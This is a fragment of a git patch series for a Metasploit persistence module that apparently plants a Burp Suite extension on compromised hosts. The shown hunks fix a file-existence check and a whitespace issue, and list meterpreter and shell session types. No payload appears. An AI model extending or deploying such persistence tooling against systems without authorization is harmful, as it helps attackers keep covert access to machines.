b/modules/exploits/multi/persistence/burp_extension.rb @@ -105,7 +105,7 @@ def writable_dir def get_userconfig_path unless datastore['CONFIG_FILE'].blank? - return nil if file?(datastore['CONFIG_FILE']) + return nil unless file?(datastore['CONFIG_FILE']) return datastore['CONFIG_FILE'] end From ffb725f4da69a7f50f7a573591a8107dfd054e51 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 21 Jan 2026 08:16:39 +0100 Subject: [PATCH 23/23] Rubocopes --- modules/exploits/multi/persistence/burp_extension.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/persistence/burp_extension.rb b/modules/exploits/multi/persistence/burp_extension.rb index 967b4db1155dd..843f64aa4abf4 100644 --- a/modules/exploits/multi/persistence/burp_extension.rb +++ b/modules/exploits/multi/persistence/burp_extension.rb @@ -30,7 +30,7 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ - 'h00die' # Module + 'h00die' # Module ], 'DisclosureDate' => '2025-01-01', 'SessionTypes' => [ 'shell', 'meterpreter' ],